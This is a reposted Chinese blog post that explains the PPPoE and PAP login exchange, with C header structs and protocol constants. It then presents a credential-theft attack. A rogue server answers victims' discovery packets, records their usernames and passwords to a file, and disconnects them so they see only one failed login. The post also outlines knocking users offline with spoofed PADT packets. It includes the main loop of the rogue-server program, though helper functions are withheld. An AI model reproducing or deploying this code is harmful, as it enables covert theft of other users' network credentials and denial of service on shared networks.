PPPOE撥號上網流程及密碼竊取具體實現


  樓主學生黨一枚,最近研究netkeeper有些許心得。

關於netkeeper是調用windows的rasdial來進行上網的東西,網上已經有一大堆,我就不贅述了。

本文主要講解rasdial的部分核心過程,以及我們可以利用它來干些什么。

netkeeper中rasdial是通過PPPOE來進行用戶認證並提供上網的。

PPPOE分為兩個階段PPPOED(即發現階段)PPPOES(會話階段)

關於PPPOED部分,維基上有很詳細的介紹 。給個鏈接 https://en.wikipedia.org/wiki/Point-to-point_protocol_over_Ethernet

我只簡略的說一下,可以分為以下四個部分:

PPPOED的協議格式:數字代表字節數。

|    6       |        6       |    2    |  鏈路層

dstmac     srcmac      proctol   很簡單,不多說

|  1              |         1      |    2             |        2              | PPPOED頭

ver_type           code        session id      payload len

固定為0x11   行為代碼     會話id         后續報文的長度

|      payload len |  PPPOED tags。 這個不好說,可以去wiki看看。

 

// proctol  注意字節序的問題
#define PPPOED  0x8863
#define PPPOES  0x8864
//PPPOED code
#define
PPPOED_PADI 0x09 #define PPPOED_PADO 0x07 #define PPPOED_PADR 0x19 #define PPPOED_PADS 0x65 #define PPPOED_SESSION 0x00 #define PPPOED_PADT 0xa7
struct PPPOE_hdr
{
    char dst[6];
    char src[6];
    char proctol[2];
    char ver_type;
    char code;
    char sid[2];
    char len[2];
};
struct PPPOE_tag
{
    char name[2];
    char len[2];
    char *value;
};

 

PADI:由client發送。(PPPOED tags 貌似必須要有host-uniq屬性),就是廣播說我想上網,誰能給我提供這個服務。

PADO:由server發送。(PPPOED tags必須要有AC-name屬性,而且要有client發的PADI里的host-uniq屬性。)就是服務器說我可以給你下這個服務。

PADR:client發送。(要有host-uniq)client向server請求上網服務,當接收到多個server的PADO時,一般向第一個收到的server請求服務。

PADS:server發送。(要有PADR的host-uniq,且需設置session id)之后開始服務。

 

PPPOES:我重點要講的部分,在網上搜了很久的資料也沒搜到啥,自己總結一下,方便他人。

PPP  LCP協議格式:  PPPOES支持的協議太多,而我們需要研究的只有LCP,所以只講LCP。前面與PPPOED相同.

 

|    6       |        6       |    2    |  鏈路層

 

dstmac     srcmac      proctol   很簡單,不多說

 

|  1              |         1      |    2             |        2              | PPPOED頭

 

ver_type           code        session id      payload len

固定為0x11   行為代碼     會話id         后續報文的長度

|        2        |  ppp proctol type

|   1                    |       1        |       2       | LCP header

 code                        id             len     

LCP行為代碼       驗證id       len指LCP header與后續報文的長度,與PPPOED不同  即 len = 4 + 后續報文長度

|   len        | LCP opts

//PPPOES proctol
#define PPP_LCP 0xc021
#define PPP_PAP 0xc023
//LCP code
#define LCP_REQUEST 0x01
#define LCP_ACK     0x02
#define LCP_NAK     0x03
#define LCP_REJECT  0x04
#define LCP_TERMINATIN_REQUEST 0x05
#define LCP_TERMINATION_ACK 0x06
#define LCP_IDENTIFICATION 0x0c // PAP code #define PAP_REQUEST 0x01 #define PAP_ACK 0x02
struct LCP_hdr
{
    struct PPPOE_hdr pppoe;
    char proctol[2];
    char code;
    char id;
    char len[2];
    char padding[2];//填充,字節對齊。
};
struct LCP_opt
{
    char name;
    char len;
    char* value;
};


 

下面給個例子

講完協議基礎,就將PPPOES具體發生了什么。樓主只研究過PAP,所以下面講PAP

1. client向server發送LCP request,請求配置(例如MTU之類的)

2.server向client發送LCP ack或LCP reject(若發的是reject,client需要根據reject再發一份request直到server ack)。

3.server向client發LCP request,LCP request中包含用戶認證的方式CHAP 或 PAP。

4.client發LCP ack

5.client准備開始發送用戶名和密碼。發送3個LCP identification。

6.client開始發送用戶名和密碼。發送PAP報文。

7.server對用戶名和密碼進行認證,若通過則通過IPCP進行ip配置。錯誤則無法上網。

下面給一個PAP報文的例子,與LCP很相似。

上述總結一個圖

 

ps:樓主字丑勿噴。

應用:

1.根據上面所講的過程可知,我們可以在別人撥號上網發PADI的時候,發一個PADO偽裝成server,一般而言,只要client先接收到的是我們的PADO,我們就可以獲取到用戶名和密碼,竊取到密碼以后我們就發送一個LCP termination request和PPPOED PADT,在把用戶的MAC加入竊取到的MAC表中,對於竊取到的就不再進行攔截。

這樣真正的用戶在登錄時只會出現一次登錄失敗,之后正常,用戶也不會認為出了什么問題。

2.我們自己發PADI獲取當前網段中的PPPOE服務器的mac,再將自己的mac偽裝成服務器的,窮舉session id 發送PADT給正在正常上網的用戶就可以讓他斷網。

 

應用1樓主已經實現了,2沒做。源碼就不發了,防止有人搞破壞。

下面只貼出流程代碼

int main()
{
    int sock,recv_bytes,i = 0;
    struct Mac src;
    struct Mac self = getLocalMac("eth0");
    char buf[2048] = {0};
    FILE * fpout;
    std::vector<struct PPPOE_tag*> tags;
    std::vector<struct LCP_opt*> opts;
    std::vector<struct Mac*> macMap;
    sock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
    fpout = fopen("./password.txt","w");
    if (sock == -1)
    {
        perror("socket");
        exit(1);
    }
    while(1)
    {
        i = 0;
        recv_bytes = recv(sock,buf,2048,0);
        src = getSrcMac(buf);
        if (isMacInMap(&src,macMap))
            continue;
        if( PPPOED == getProctol(buf))
        {
            unsigned code;
            PPPOE_HeaderReader pppoe(buf,recv_bytes);
            pppoe.getPPPOED_tags(tags);
            code = pppoe.getCode();
            if (code == PPPOED_PADI)
                sendPADO(sock,src,tags);
            else if (code == PPPOED_PADR)
                sendPADS(sock,src,tags);
            else if (code == PPPOED_PADT)
                sendPADT(sock,src,tags,pppoe.getSessionId());
            release(tags);
        }
        if(PPPOES == getProctol(buf))
        {
            PPPOE_HeaderReader pppoe(buf,recv_bytes);
            switch (getPPP_type(buf))
            {
            case PPP_LCP:
                pppoe.getLCP_opts();
                if(buf[22] == LCP_REQUEST)
                {
                    HeaderBuilder builder;
                    memcpy(buf,src.mac,6);
                    memcpy(buf + 6,self.mac,6);
                    buf[22] = LCP_ACK;
                    sendEth(sock,buf,recv_bytes);
                    buf[22] = LCP_REQUEST;
                    buf[25] = 4 + sizeof (lcp_request);
                    builder.addHeader(buf,26);
                    builder.addHeader(lcp_request,sizeof (lcp_request));
                    sendEth(sock,builder.head(),builder.getsize());
                }
                else if (buf[22] == LCP_TERMINATIN_REQUEST)
                {
                    HeaderBuilder builder;
                    memcpy(buf,src.mac,6);
                    memcpy(buf + 6,self.mac,6);
                    buf[22] = LCP_ACK;
                    sendEth(sock,buf,recv_bytes);
                }
                break;
            case PPP_PAP:
                struct Mac * tmpmac = malloc(sizeof (struct Mac));
                memcpy(tmpmac,&src,sizeof(struct Mac));
                macMap.push_back(tmpmac);
                recordPassword(fpout,buf);
                sendPADT(sock,src,tags,pppoe.getSessionId());


                break;
            }
            release(opts);
        }
    }
    close(sock);
    release(macMap);
    fclose(fpout);
    return 0;
}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM